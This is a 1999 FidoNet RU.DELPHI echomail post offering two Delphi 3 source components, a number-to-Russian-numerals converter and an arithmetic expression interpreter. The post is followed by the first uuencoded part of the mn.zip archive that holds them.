M'!O^8\FSS:C?%+HW#+(YW6'T2XC"*2Q3MOFKK3X4X56B68#CIWI6@@'(7\L^! MNA_%4YM<#0I@F%PA-],U5U!>T5;4)BRW[FT+*@6T-ATG%X@/Y$(8V/;KH8BR& M!`RB(,K7CV`:&YKQ7'#/:$M-PSA]]234:2Z\MJ$;W#I4DX.T`/TQXE7];IG`U M2\UGI3`__A!=""4P=0X)#6*9`/G0/N!6[1LI\MGM."`:'V"Z55PMD./^E/'A2 M4E\X5$H]X#@I18R?KI/TN]7E]'L&Y1>((7[\KA3&I+EH_%N:_^W:Z]7I^N0 MV9V^T%N"&0R_GDSW0STWKY>*I@F2Z8.;#=8W:1C,TCQ/%5Z2$ ML3.`CEC]'B@Z">T9IDT5L!+X;)&7_62.7],^[J#4EYZ`X@/-)M>D` M7#B1O$BF^8;2>H2RKY[`W1&72"PN$6EHJNS!9?>MGREZ.KD728*5HY.3- M?+@"_PL.X:37/+G.DPH(1I)TG*-AT]<-''=B_9"8PX6UZ_J/.[ZQAZ:"Z79N; M0*+TB#ND?"3%Q6.WRPM<29&\.7]'%UF@@Q%X4]CY,*XV< MM6BZ!B?`)86'DW7A(:0/.L0TD)X4W8*!DV=MO"@W(&);IR"-.U044C1'X_"%` M2]$.7X3TN,-GE)(K?9>^7@`H/EZOT#7&&PB,=&WP:$'K#X+,]QCC7D#;2EY!2,%302X M>)6\`CF*`I#C'&_([P%G+@.X8\A)\&N4DXR>G(+Q@L;>'ZX&P[IJ& M!XA?`YZ='M80\/QC@"[,;2J[<.20$R_F@$/H\1S+:;A!2KQ(_P'EO+4PZ!RXLM;8,W*<-PQJ6 MSE^@X]Y_8`X;)0R.OL.N4])R!SX9-)6ZTIJA+-E'&SNZF$4)Y&/Y^U!B>&VPP M82O-.;`B-':8EPX#.`$"_OXHSU(ZD>=L-X`_58?:P*_O:(!>_"7TNVXB^BL_& M(GJU%VD=:*1$`@)-U+DVP%Q[_P8N#+"E.2^:"//4>P;T\4P'%^7SRP:AOQ?P1/,A6'7KHLUXFVT/P5.NHHV'D_\@Y MM!7V-C0QC=-D21#M(DR%A_0$MX(KD`>T+ZALZD"U!&8S5P\-NPK/=;"U12V`\ MM"KQLH"&YMQ)\'H&^*+,"B<$#=JGLP\Q^_1+2),]DV[9IZF>V:A85DD:T#4_M\&*EFK('7"H"R7W3^*IK?5(RC_!OJ[\B`9MCH]60OHRK MO2NQQ;9,1]^OQZ0"^(V_YO@*"X"#&'*(8WV+8`]WK+\,\?>%SN'1U^M1UJ@QF M78.B><9A&26%JW%+@[TY&))>FH*5I4'8W50Z"QO5=@Z*/E*O;FWV:=B09,7NZ MI-*8.TJ%!4M%527^)*AE]'>4^:Z.+8\JE4>@IZDKGOSS-[(AXWT?-["X:87"5C,`@*W@/@Q@G."P-+,$X$5J+4.WHB#(6)$0M`0`5C!$9-*@2Z<$Y_`;CXL>JQH-V(1@2%1H MAI2PI0!G56*VI/EA3TSS@UW,#&-"G[T+'N\DN,!4*O@].NP.:.B\BBXR4A>U$ M!CQ7;$0'EOD2/\Y<_->=6^:JJVSW@X+JWG>[/D:T`9M!M0^#ZS/D&))9FI@!` M%`]))AK(]A3#"=YF!B?^%)?-G!)890BLB@R,IG,.LI6CBW=[Z)L'\9[I):G%[ M`[%D8C,6'MHP`+PMDXS)Z#V:G*)6F:)6`9IG>.@"B"C7`VA%+#T&#'/T0""0S M!!>8-!$R/'#X!GD^S2A/,X-Z-/*?4$**2)*BDJ11WJZR>$ M-J@4B*P\A.E6-1V]EA43)KAO*W@&"E9/BS9.01!U$F*.#4FP&/\NH-ME+CA?; M"LG+8%]S34NRT:0#.+*`:9."A^J0@@WBI\?0_+P%#>0SQ65"X''Z&)2QFC;A9 MQC`2S>7Y(.E0CM@@+TG-^QO#38X`7M:`ZQWT6DB!`B8HD`E6'[2XQ[O!E>Y9H MQXX0S!P@Z:S*C[@@8RL04P<@%%@]Z%3_T+ZB,NN*=IER M/]%M^UF?)0OK+R-=7ZA6N)]1W^ST:>VA,'*D`[S3\$!6)F153V/S4+84R>;E< M,5H&.4JC:S/V2$Z*A#DU\`FKMAIP)##'+UN"E MJJ/E6^#CKH6B?J%0'RP$MK`&+'F!Y71WMFO7]%=Q1A!/(#4:`EHXP%YH0IZ;4 M.!7,,5(SJPYG+'R[T@PZZ1RHC@.3PIWMNC7]V9Y.JN0%8F!./Z9R;&MB0JDL. M!^7;^XCJ2CFVI^PLQPXJ7Y0C;RBEZ!I1L);-B7T461NI6XLN0;$VHZ5^8Q^-) MS1B[%V[1]K9L53L8GY&NG-`D&=D-Y42T@=DC\22!KW+2,S,X(ND+-C%T.#9[N ME-[?A#=PR@&RMSP=!(BSS;KA?J?7:DO>CB^UZ*_1RGEQI%7H8;G^&4/?QGG"&SL#$WBH0^TP;=U-?I@J-W`0];W% MC#QD\YAX*+JUIQIRO/-N'S44M0-]Z/%O^(N7!ZFA-NW;42QD_6)*^8,L9/[HG M"!W&0@__L.FW#V/(T1KU_;]'8NB#N+\L/#<:0^*NVH&O/X:A/:-V?/A/L'8(D MUM7C7XPX/1Y"5!8?K"X"G5)X?ML>9>W?8$-U_+KO%\..-4RU"L7;5CRZ]K]^0 MDV05/IL;/JE/[E^>`6_`2_L/#JPX/-/ZP:9(ZZ+DC$TIUIJ/^A=O_VCE1VG67 M\::HUH?>V'JV(__MN/G_]],>)DYM>N M\SIJGRK_W<>3/^G[_<;8DCZ?]TQX,>VA<:[KJYK6)8RNG7`N\$Y*T0\)KY]N) M^\,-9<,GR5->>V39_/[^88>^G++ZW/ZK,8]L*A@V]5!X<:/PT-;WBZ?V_<3W9 M=_.Y/97M4S/>*_6&OE=T=7'BD9;KRK?3?_WVUXG/?_AVZ,F&)\O&3:O^;?<_Z M_?V#_N>V3.MKM!?\EWUU;=*,\W_^W3C+F+)_74K]+FOBGBP+^>.;F7]J+HER; sum -r/size 6618/16380 section (from first to last encoded line) crc64 96746c754591683e section (from first to last encoded line) --- Txt2Pkt utility 1.7 * Origin: (2:5023/17.28) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 130 of 341 From : Nail Maksudov 2:5023/17.28 05 May 99 10:36:00 To : Al Subj : DX.MISC.Преобразование чисел в числительные [1/5] ──────────────────────────────────────────────────────────────────────────────── По поводу сабжа В ЛЮБОМ ПАДЕЖЕ пришло 7 мыльных запросов 5 из них Е-мыльные. Ответить на них могу лько здесь, за что "Челом бью, слезно прошу прощения". иже вы найдете сразу два компонента (D3), Преобразование чисет в числительные и классный Интерпретатор арифметических выражений. Все в исходниках с описанием и примерами. Жду отзывов. (Также интересно, компилится ли это в D4 и что надо править) section 1 of 5 of file mn.zip < uuencode by Dos Navigator > begin 644 mn.zip M4$L#!!0``````,2MA28````````````````#````34XO4$L#!!0``@`(``.;J MC";-VMH_*P$``+0"```.````34XO34Y43T],4RY215-E4D%.PT`,G*!]0*ZYR M@00'+J@5N7#B0(M4"5%$4:Y5!"5$)-LH+`<^Q0_X!%_@`?R`,NMDDTUJR?9Z/ M/;;'V8!R2-WM&AV+.7#YD!K(71A&JL_'M`E66-/.<<_3`DO<,E[07O-LY4O]Q M_@&V/F@K&W_91LK+./F6BQ4,:N30R-@M1X$-.VL\8\OLIV`FB#'%A?@YSGES< MQ&X!KH@I42$E_H-L4D:;KO^I8%S/&?4-CS*KXLRZTE M;'OD[5S'6P_F-QSOB-VRVSMW-WO?*):]AYCQ]N/=(^_;ES+5=`QG8A/AO?^:+ MP+'\"S^=H_J&'&6TAUNU(UNC2:3>^"3W@`94BE\9)FA0:>J\S0CA6J56=HC>[S+F M!2G&8)'-HN@YNIV[W)8;ROLVYZX;-N/U^Z6NRNK:SKU'-T*MY,[K+HF3BUI*:]AP-COP_DIZC?F4%=M<:IZ.BS+C]O3+TGO4U;'11C\!U!+< M`P04``(`"`"T1)PF9R4J!N@(```@$0``#0```$U.+U)%041-12Y46%2%5V%SG MT\H5_9Z9_(>=?++!$;%#@-HO,TU#TF8F`29D'IT!TE%B)7@P5BK;$/J)OFFG4 M_R'IF.-3G!V!LW5F&5O>7]:-A3+ON12^^E)3[CRC!4VGEGL_J/5/SIV=Z](!O_P+IB*CT>NL3I%5JG,SO ME=DGY=M&Y0XMN_*GL#2]9C::1<;NX?*7-?-YNUNW7_Y^KW+'V(%)BVR-OU6,B M';AK61W#=G8G)[*O#:.8!\KM2^:RNU9S[UF#S;*HKP8R')[$@AUD6QTRUQ<19 MGD1LH'I]'G-/'2J?K=TC5V[N(3,,XTGFZTF)'?-8^-A6/U3D\2,_\=B+5L>VA MFVVCOO><219P-N"!\"2YD@'0'/HBB(%8P(]\":-^H`8(8=%^L==H6B7&4Z\KR MK7;';#8-VM!/`QGQ0&*QQZ,(QN/8975R8F-I?\]Y8#IMR\&/1=.I;UC[';*;# MG+AV[1K+O6?3[-]!+,)!*&*.#+((GI%K'LJ/OHCEF8CZ\I2YHY`?B4">3$[\I MR(\#?H9[4:4MO%.]Z$S"]IR%XGCHG>/VBC60&YM?L($(14\$@7[*7-D#R'&H/ MD!/$'G.*\*V(56]4I=O%IF4ZZ]9NNT:?4FE=A>=XL<_3/R)-MPNDAUK!CY!U[H"ZY[;*`BC M3[!!*!&S1C"-G3-*HM5N-^Q6F\(:_ZBV.TZCM7OU(Q^05M6_S*/!/B!R-*N,. M=!K+!OMAG"05]X1W\9D^CUSWN2_95&V*2<0Y59TR:'W%8/_"*\D40.>?Y$F5J M;9;8M1*[46+UQDN]%OWPPJ[KY;-Y]S(:*._\>/@Y9LBHQU$((3_VY!D2QQ`0G MBIWCAM[1^FI*`^69:5HBJJQ;:B@[YIL/?\&%"@*\%EO5`=@ M!.J$G:$H)*HES+W[Q1-)%Z=?3+NHP,/#K+T_#H,^<"HF1<6ERS7`;E9;^I-S8 MW\`I,989%`M;[<)^L<0>[K9P10_[JH?60U"4KVS;#QI8T6CIE8MV8K%A)K\7) M.JEE',I#%2AT:Y@TN\C,'_[5T4O7;;N3NZFUR*ROPD"R0M_EO9#'P>A$9WS8Q MY\<\()"0Q`$V4N$<.#$/@D/5YV8;/FZW6W5T[#U'>*^O)_6FU#]<'A(-3;>U M\YJY7]@OU_8K-1`[UJ\1?./?,!DH));YU#C^T$>&?1GHN_%.UUMUK(N\X1D_: M"930):YTMX[[RNF>C)@6;F4T/"B![ER/:*SDW'?"C_]` M"LA)]$@^W)1,=1\&/:Y)!*Q[@-[TU5%`;R!\,CXWH,G@$5^$61FME^=1'[/7" MYFI4)R@J0+M>1AY<5">^',/:*<^W`<)LD5;1G8G::R`%3KE8+/Y:S8[96`"/- M]1F`7\:_2@E(LO6%$OV_S*;34,:$+E)"=T>E,>N1BP%D(TQ)%U*<>Y5YT)B-@ M>L.?T%/>^4KSOES)GB`M(WW+:CQM5[,K:M9RGU;MV=XN4X M%P1*SG_X,K9PE.[',))=%&:^FV]\-U^>*Y+'=K?9:5>_-YV&V>K`"_EXGVGC. M"+&ES';""FXD#GL@0)0Z#W0;^=!SZ<+/G\SVDN/83CNG&EIP0TE-#AH!8Q)92 M_U<>$+.C@M#&5!@YL?Z#N?W\@?W*(EP3BW3+W/=-UDEL"E4?N5ZI;9>OE:93 M(B8!<[#*I0O.;H)5,'_F!X3J]C/3N1K6-^4!XT=^EO@-TYQ*(,`$'I$)!B8X& M#&]?%?5Q4>5K*IVJ,$Z!/UA!4((OYZ]$M$0P(B6GE).?''3)^T3[H?DT?6H/T MI/_35"&405?UD+UD;IN#?,M)"7LT[7]4H>^E:;E,7('V$ M5]23DSH8Q5KP,3CMH+8N)R>V<<_N-'9>+[VT6IVD#<#$IV#-.!V1W!&8)]#>' M?9H@>5I>N;$WFX2QDW>A4`?8K')YDCT1B",]?PQ]'Q@2G#HYFF"^G'E3<@:I4 MIH;#S]IPF+?SZ9P1#@^\B]/'-W#*$"=]?OJ4=))\])3G\9#CU2=2O-.G!HW2= MX+@CZ>H:%Q&<2SY`C`&+Y8"SQ:[C6*WMUZP`K?8P[@>CHCX-_$<.1JAA&GPUV M=MAHVV+SK+!MME=>6*T2KNMVO=&AF[N`LZD??=]H)8\V7MI.K-1,K>\ M\9XXJD*D2BQ4O1+\0Y9'TOCJ2/*CM0\:BJT9'3"3:RE&(RFB9$1E\>!>S62\OIU%+\Q\D[9UEJ+B?C+ ME18*DH8A3L>D*R<3ER7E^G^#.D7_^,_5#./:8E6C^/1J3=>M'1,LE0]BB&0E< MN7>3IBLQ.E)>Y-D$A^9DFL\^7](FHT3^W"1@@[U)>8`M)D1)=3"@-!CI02+!$ MX.L4"5U(:%)7/TO7YH\2'$=TGZ=GNE\Y6.AH@,@SBQ!(<+CZK9\H\:")++[)) M"6TS1N^;JZ]V2\8=7S^Q*-T,<2YY@\N\(V!8MYJO5Q+1_@U,LE&1R!EC\F&`* M^@V'A,KD!-5L]4H%?QD^AJ]Y"?$_S]02P,$%```````JZB5)@``````P M``````````@```!-3B]$14U/+U!+`P04``````#,J94F````````````````Y M$0```$U.+T1%34\O0T%21%1%6%0O4$L#!!0``@`(`)NIE2:DD8""]P$``"H#7 M```9````34XO1$5-3R]#05)$5$585"]-04E.+D1&36U236\:,1`UN^QZ82&I* M*C5J>N(/-$INO2'8@D""@%BW.;9F=P)6C(V\AI#^I9YZZ?_H/VBE'JI4S:7J6 M+5+K_0`%-9?QCCWOS7LS^[>*2'=;NO-. M@+P+>JU)V"'5_%5RJ7`MXA=,Q/*:P$;[V4-.:OVI9-DY78!;'X:-D(JD$8)BK MESD^U#<7H+2C]R+W3XFPF^ ML$=YP)D1Y;>EBD%ERK$[33.1JRB&7^*ID*/\!4$L#!!0`G M`@`(`+&IE2;JXT*!,@(``!D$```7````34XO1$5-3R]#05)$5$585"]#5"Y$V M3T9E4UUOHS`0?$?*?^@O.)%+VFM5\1`"O>1*$AK(QUW5!P=\Q`VQD3%M<[_^Z M=DS2IJJ0QC.[:]@=F\>AVE>BY/JIXPR\;L?Q/;?C#,$"0`AY!_@).0*,`;\`G M]TA$8!.P*=@,$`,>$)L#$D`*6`"6R*[`UF"_P?Z`)5OU.A+2U">Q8EH*65B]S MD,(,2L%J7GLK(=-#U9)M M]:[[>,_;6$;#WB=:5$9H:1GNPF$YIE10 M6O#ZZ=0'Q;S6@'.=<*:S;IA&A.EL%B6T!KZU*!>8@I6UL M=_0H48W..#6+R*+F[SVZ=M*8:;;GAFL,.F^DU2@=J=J0UZ7(V(0K8<-Y*7'*=`]+W6M@L2:WZ6/ M3RJ>"5:V"?'"C(T&463OODG]>53U-^>X_?K./\!4$L#!!0``@`(`(:9E29"'%P[D0``@ M`-,````7````34XO1$5-3R]#05)$5$585"]#5"Y$4%(K*,I/+TK,54@NL>;EN MXN4J+4XMYN524'#++\HMU@&Q?!,S\Q2`2!W$T"M(+%97J`;)&M:"-52K!"EHJ MZ06Y!M>">$FIZ9EY(%V.!04YF7J>>9DEF8DYF56IUNA2(9DE.:D*3 M5K8*ZL[.(>H8TLY%J8DEJ2#;-$+`=NJ`'6:HB:$RJ#0/*)::EZ+'RP4`4$L#= M!!0``@`(`"VIE29_=MLT/@(``&X%```9````34XO1$5-3R]#05)$5$585"]-* M04E.+E!!4YU3P6K;0!"]&_P/`RG83EP1) M1XG3D'_MN=!"^P7=7:T4NW8)U)>=>?/>S'AF5`E.<,.XB+N=;H<+0K5D&5JGE MTJB['8!/7.3R00_A!K5F*S36[%'/B1?&2@JFM87>*U;>\4+**>6ZL9C*4]S0$"XWY##7##V6:"6I31/""#);J^_<@0T`N M9!1!VLCC&IMEIG@QEIO0Q%K'!Z=,8&$#SO#@9<[)8O;UT+@BDL*"M>7A#VQ1D MRYWAP5+)#/-*89THN6-BA?T9BAR5H=XN/F-&@SWRO)S(!Q$F!<^^_,V.?0,&# MF$_&)%(SBOT,OLF#&6IVJ?@](ZR%3S"M7';$:F&RM#SG':"9T M&FXU]TQ9URTF\@NJ#VA=%KA&04YED: M5MI>HU&OY^"E5*;>*&/ZVOP1(`G&G"K,"\@EM/7M\07I'=J^HA&/6RR1XAY50 MBDLQW2]X.<\QW.CV\'2>]VD M2+\.'X6G\?;E-._>(?S/Y]`N8_^*;/B?M5[[9 M<-J\BHE'&C&A92&:2:%+]FG03W?O\4Q))`$3T!C+U_A[UND^T MZ$EM//X<=/JEFS\#/7+E,WH#F5R493;PP$U=UXA<,7+Q0B3PD'7]9V&YPL\60 ML.FP2&XE=85ALE>C[5R&Y'L8K+ZMN5"P86[Q(<-#S\#YO&?`TP>-&!H!&D`I_ MDC8?=0V"!@:59R0&T6%(AD2#R.G-0ZLR1;=Q[/2YRH?)8'$7.;U)DB)+*GW2G MK_.V6!ZKU4E7JMU4>@6=O@%1GBZ/QTKOD+,>JW:]V922!ZRKQ6:]UOHWV09Q# MJ]>'$@UVMD$4:62EZ#(A/N@2?M&=0>O*ZE*(]W`XG0NSFS`M==K_$U MW72'P[\RA3S[#S;!_2XT6>T;[!1FBK<\?22Z@#UT'#Q:^N^1??"CY%'KT`4$L#!!0``````#NJE28````````````````/````34XO1$5-6 M3R]005)315(O4$L#!!0``@`(`+N1@R;=P+)=#@$``/X"```9````34XO1$5-T M3R]005)315(O4$%24T52+DE#3WV2OTX#,0R'35M=I:AJ.S$A7;IU1&)A*_`D. MO,EEXBD0\NRGB/H"O$(GQ%BV#A7&CELN20^2_.+[8B?.GP.XDNK]$K1\C@"NV MQ:Y%7O0`ZI\D7QC!'R6D!B&8T2H?,4:Q.L*I`;,9K3JDW64AHAR=,%9,_S(63 M$\3O\@!CS/-!SPZ5'15.J(*'6#I=A#0[Z`J8LNKFR+:4LCIC,K8`M"/\]C8KI M/YCKHW+&FH'.N\*4M3\RU.RPY[1S<,6M8O]\RSS5GO[>3N90&K9AI\,X[/<]CMY\"'1K44W?#^J>7=C M5O31\M=WR_PFFIT$&U/HF"/_`%!+`P04``(`"`#X8I@F[<9"DT8$```/#```$ M%P```$U.+T1%34\O4$%24T52+TU!24XN1$9-O9;/;QM%%,?7:WMG=VVGI@*I% MW%:]D$A5%14(/&ZXF]RGIF-3N6'?X$_@/^`OX`CG#@, MP!5QX0^PHH:&MJ2I.:92F)U9VQN@B0K(/JS>>^.9]WG?G9TWYZ;B;&R7MW:4W M]>)Y3E&K_H>PFP3>;T^E M2_^HY*1_W^NR?OK[5'Z#8':[VHB M]>][N$M&#AJSG!B0BZI30W@[<("TPK9MV1"'EHVHMR?GV^S`1SE%;Y'08Q[!M MH!B0&MJ#0Y_Q4!/[!WH35RF"#`$^@PZD;31Q#86,D@.0BZ*Q4VAY8^2'+42W) ML-M7QV;$$Y,4E:RSC08DTQRR0&BB2DF4[*Q@+?YK+UOVO1X&.O2E(H6&AU'(R M8:F'>V%*>_.GR:]/CZ='UN<;I0?6PR?GUO-GIY/#Q\>W%;V-8#?B-DRI,8YLR)G7>94;\U2%D$5!M&+U#2XV]EU/U(4P_F$DF'`<34NO7T0K M7B[^AS%T%OK\#_/EBM8O)Z=/)U/K\.SPY.'D?6O!K2AYIPV['JD,>9&XD+!+# MZS*9*9)=BVE;LUQOS)?7:\BU5DOK:Z#:1^X^ZAJ)]0$W;48"`_"]Z'ON/G@M8 MF4.$7O5]OARYE'9@3TTEP6^^'!Q4/&RMWEE+;*VE4-X1E*JD[%PE+VBZS%J]K MEZ!4ET+YMJ!,)RDOT5+?1&.^">XF,--+P7Q'8&;D2?V=31V>'D^D+Z_3HT1]/7DPGTS/KV>GQ\\.3H]^/0 M?^-"1-Z?3F-3I!:VUL3UL<>`(4*1^1]>69H/B(*ZLJ!O9$%OQ05]^ MJ\P+NO`F$EUXH;/!UY+F#)&?-,&_`(KM/1Q*$?74MS%<@W`!DAV@STE:J/(&VC'M]NB(;Z"C^V1PW$^*V*7V]#* M(\_O'#8*((6,4"UUJQ#MRT3@@Y7R'I\X7QUJ````Z@```!<```!-3B]$14U/+U!!4E-%4B]#04Q#& M+D104BLHRD\O2LQ5<$[,2;;FY>+E*BU.+>;E4E!PRR_*+=8!L7P3,_,4@$@=] MQ-`K2"Q65ZAV`[%KP1JJ58(4M/2"7(-K0;RDU/3,/)`NQX*"G,SDQ)+,_#P]# MS[S,DLS$G,RJ5&MTJ9#,DIQ4!2M;!?53#U[_>?7Y]?]/[SXHO/_P[O&'!V_>S MO/CXZ8$ZAA[GHM3$DE20`S5"P`[140!3FA@J@TKS@&*I>2EZO%P`4$L#!!0`* M`@`(`(BQER;0HWG!/0$``&P#```7````34XO1$5-3R]005)315(O0T%,0RY26 M15-]D[%.PS`0AB]-U4I6E69@04**V1@KL;"5PL0`O`+/P`O$$T^!T,U^BH@7) MX!4Z(<:R=:@X[GP)<4S`SF?W]]F^L]T#+I8A4M+R,>GL.9.%L;(\GG;VLW;]X M)9.!#KL)_%%<^,`Y[:3RCZ9IN)<1"I\$$CJI(2X:V\Q['TO#&A/M_]4X6,!VY M$T]0C;$_Z+5!T<8/C)!,'M/O(/L@,&K!.A\C!#&X-AWIP2:/:)_?R^Y5PY)7Y/T"')=%^. MSN0M&\8*-1U6-3U?$"W6'6_5]/QI":>SN;.SO'DH8+LK@/8SH61.:'=5T?:5H M>:_H\ZLB>F$6+;!67$W4T!''L`IQ%'`+&[B!.^8:[KGO2IP7D@T96%L^2E9(2 M%F7P#5!+`P04``(`"``=3)HFG>NDU3,"```9!```%P```$U.+T1%34\O4$%24 M4T52+T-!3$,N1$]&95/;;MI`$'U'XA_R!94I)$T4^0%?4F@,.-A$>`,\*;`WV&^P/6+)5KR,A' M36V3R%@Q+84LK+V0P@Q+P6I>NRLATT/5DER]UK=TQEIE'T*P$6V$%X0P6N_12 M"+5N>;?3[3Q&0N[L`":LNJ-9X+)98ZK&S#;/]FI?R5J5?%A5J#+@FZ88R[_*< M-BYD8EBV2\0_[O:N^M<#O.?M3',&UY<_KFAL>U9PC\IW![V;0=^AP/"-![S.5 MM*B,4-*UU01"\\PH+7C]=*J#-+<=P+F=<*:S;3\/4*B"M(YG$1![F,>PT#!?C]K1A=!(&28(4+UQ.$31?^VE$&'@$* MZ6P6)79$N4`7K*S=XXP2U>B,4[%0%C5_K]&QG<9,LSTW7*/1>2.MC="1J@W-B MNA09^YC+DN+(N,#@*7XLL[+).:FG30P;HTCU&E'F=C/L66GR8V6TI9;CB^0E[ MQQ:(OL?:=THAHK,>LB!>L]%5UT*+8FI.0E M:I;S/=,[S&]&+D$9>)ULLV*M\B8STT_6EZNHOCW'[]?M_`=02P,$%``"``@`! M]DN:)GJMF=),#```JR$``!<```!-3B]$14U/+U!!4E-%4B]-04E.+E!!4\U9I M>V_CQA'__X#[#HM<`9,VS>AQ?H0*@\J6G1QJYPS+Z16X.`$EK22>:5(E5V9Y@>+W)W?S,[.S,[.: M+INZ2M"AHNJY^_?NWU-U@LVJ4L:TT;2P=?\>0D]4O6)<6`(ZQ):EU#"\[6J*+ M9=&7?<,\AT>Q97U&5,T2*/Y(,2UL`LC0B6EHE$PJN\34+#8&:34PA9WLTV&18 MC,I4&'="1?&4@-#C)FE(Z.00GQNYH&=7T4/#YU@'=ZN&3GO*AFX1"G[\')M5S;B05_[E#MPKO]MW^YZ[PMC^])MCL MM"H6]@__3%MCO0/)XMW5OW^OA&NJ3L<[MVKBF"0V*.[$5,IG1?4K+-J2G-U.` MK1ZI-M:L(VP^TLMU5%&?HP\V<\NY6Y*%7.@Q5%!KN MEA3CTAL,6*XKIKR22F>R#S-1+ME^\-4#H&9FAJ1Y)65'%*K"/H0J6,=@8?7@W1MJY(,FG$VGZ.]]KJM6 MLGX3-[!"@K5"APQ`ZONE:,U&HJDMGA(3Y@%DX,ZLEOC3M8":B_A!L)IAK:9.U M5`UZY!1K@E*@;:!4K.SZ2I*?ZBV'>F-;):%Z`39XKK&P*.!R$3<44R&&.3L', M4&&UE)MF3&K/GS(35$V%-I+:,F6#Z)IP&/P5]9K&V;'7T,$\MZG",^%,"B))E MD6B@1)8IQ(QV4;*`0\-(*5F&UB08J)%7DXX,;7(@9P.;$+-%F67;SH%]RKA!! M8G245G*!X6B*BG8@^(=($5!ZNQYVV,"%*[9`?Q*8BB8@-6Q;=9.M+M0@)NCQ%)"G("*DFF6-' M263-P/:)J%.B"$%GDJRN;J\]"^A)PP3J0\\9@N?3;$K(9$ZG0DV:"#4Z3F"6' M*=[-C+"17LX;[P-A8T[(/*++*`Z7UMQHD:RZ81)5)S0>#PR]QE[CP)D;$2P*L M)#D,Y3!\%X?#>--"J(++7(M/AD&:^MMJEFG_G;UNT1SUBWT8>4Z56PG/13)NH M,3?CT`V".,Z64SP"K>%E/\O6`FS7AOO(.-4&ALXN3I^KYAYFOT_46OU6 M':.I5SB6@([98):0GC(8*`H<)ZT&GL`]54]Y&1P>Q`+3.IA96;%PHKY!1C6CKV(X4(E=5:A388_.C"4RH%15C0<%\LP,P6D&!?8?-R0Y%F9H4AZ] M5#(N#C`)S4^AQ8-CD9U#<67"\$5,BLP*G"6$AA/0QYB$MQT%U03;&F:+BVBT" M7'U<#9L\S\=;*]9KI,Y9_$>IZ7Q$S%:H5F#DO&6!@;AZ5;#65CXOTT"IJ]8*^ MSPH-3(`0!=5%7=4P2UC8J-+^*2/13*=4M$!6'+54G1-3/0=E/OQH9250ASJ&F M&LH2\Y4*9R7"-C>A7%DS+#Q6(=@-%F2]F1!=?&B>+,H7^RDJW'%Y\7C+#MZ3N M8RZ/H;N-^\L.\/,/[[%F+'L#1Y2VTUDALR6%^]%8'59Z^&_D#=#7P7PR<7L\;CAQH3 MN)?P;'??N2,T]+_S7ZT$:6LM8O7Z(W<`L)%#F8=7WK#C(&?@_=!S1]X;=]CQ( M7J/VS<#YWNU[K\1I;GID';X!V?[P^B=W.&(##=_!N!YJM_U+=\R+/'3EHZ=[` M]%+R=$;0-S>O_4ODO00-!DZ[XP'0*L_"_@WJ.IVA-Y2F*6D1?1,.]0[YHTNW7 M^^Z_5).7?:?C]#ST7NX]Y'7A*;TW(S4CHK\!S$/^E3MP?O1>2>@+`:T*Z'V!? MG5XIW^<".C\,KOOGUY_=\1>N,-NPYJHX'SLNN]Z=^\1J#TR.TYB M\$)I%"^A:6G4Z:EUBG>#*08+V<]?MN?V1WYZC2!A0G#-X<1V`T`_7_0[8F$=]D#5PO+;#'-6.8 MKJ9G5-FXQ<:!($^:,VR^9'$V+Z!B38T:- M`?>)$K3S))0R&G@O_+[?<^&%K0UWGJCB'TW&=FP8)/&2TZF(CC_H>XCKM)W+I M@3/JW[QBT77=<5XZ?6K@XTA-'[>!_H+_[5*6!-VS[##='A39+MC>7US\E,N:[U\R]5P/_/]T;VAVM_=GT4+3AAO`=0S5_%JKF].>-Z+Y$+W,-1&\#^"S_(B/U+1P#A:-CQO^MXJ.=_J MWZ>4Z^'(&[U=,I'CM%Q4]>SJ1HXNKWS)>J23XS2E_-QI>VT'M!J!-#IA2]6Y= M+$^1]$TI61R]>#+3/,^'DJ?D?^L,P;(TB;`[4PGMFQ@_44P\K]RWZ^M+KNFWO#>).ZA@]?G+`OBSQT\Q_Z;Y#5][0[4F(VU8\"@C;:0RV<_36V)FF[F8VUL_5%2-1Y_"[Y>'RIG5K!C/?]O(;(M50.D4] M+GZ5$:L@0<=$-,S:2N($$>WN<1GP2VJUB>ON\/0POG1$GQJ%9B.^+$1%J1A=; M.<3%151J1C>JO!P5G'O1=4$@A=XR8"I#_JS1H)>J%AXSS1R6&R:N<..2===H1 MZH06O\&,8=!)(0S%CL;%Y$$^'+FJ:!8,O6-BY6Q<)8$01I^NUH.:>VKLC[(I- M6GJ/>PM8PP1SJ;!,GJRN)^>5],$M5>1=/]@DS@[""^>*#4YG4J%=QM3GS9``JTWZ445"!$>9+9.DZ932H9)EH7/LB]&DW?83 MT244._$%)\>)X\R,_\,OQ['SDR5M]%49G"YJN$HDF;M0*R3X:+#!KW(J>\OP* M:P^GG(!NGQ MIB],E23.LA,1-K7`:7@Q>'"8GD@JO_(!><'GRGB:$XLUD@1/\?Z]_P%02P,$8 M%``"``@`&W>;)M!.;DH2`0``R@$``!,```!-3B]$14U/+TU.5$]/3%,N0D%3` M95#?2\,P$'XO]'\X^N(&>[!.'_>P=AL,G(ZM#&$,N;:'%JX72%)=_WN3V$W4` MAT"^7W=?,K=6-V5G"0[9ZQ.V!#-(-E(HQ2:)HVU7 MS_[HM2<6D4S2,#1+;FM'-5FG'"M^_]]11=J4YRJ'VILSOEGQ?(\Q[ M?]_["KZ1`,7%,3VHN`3T(CJCC2Q#(4;U>,_'[.8W\'9C!6S\91?!.9'F@CM6F MV4D,+6CMHHG\!O!XO`K<-"J^H/\DXA_W3!"_ARJO78&AZ`]-@!C4!?/J5Z=M$/T.B^$*SWK,_E4Z$M^ M^DD;[[@:_3U$Z51X:+9E.`[K*H:B69.\X]9GL../\HZK*R$PU,'?3Z[C<"V'D M$H>K.%S.8:[J&\,T5+S[=4[ MCFT>>S4IP?O4D(%H[@A8IC?M)IC8_<:A>CA1O386S`+7.Y@*<=!%R^H1+.S>LA"-;+D,U:'W5]5TE]=- M10K(@[>BAMIH#R_Y``);,%;V'OS02ZVH6AK8"XSBS"-';P8JO38.0V9< M`3=BB%*>+M(WV,82&%,&\>W;L'XAZ.X>SG]Q,V[Q]X[6+O,^=@;.^_AOU7D'A M7_Z1F*T!/Z>:X-M;#MT<[N"PC,//."SE;W2N++]X#U\5[X(I(N M3%FT8DDVZ]E8V]UQ8?[=(C]\!UA.-*LOTG7$^O6+UH^=+%LU851R7?'1?FWPU71"*2'N9@Z>+LY??`, MM?P>N,(2@P0C[K)[X"I+OM<8T_"#*HBL6$RY.R[,OQOM34%ZV58N72%EY\V^, M![[9]\!G#.*;LBA?`M[8>@]\6^^!KUOBE)4K@'+!-=5Z#WRM]\!G3IS\P@O9& 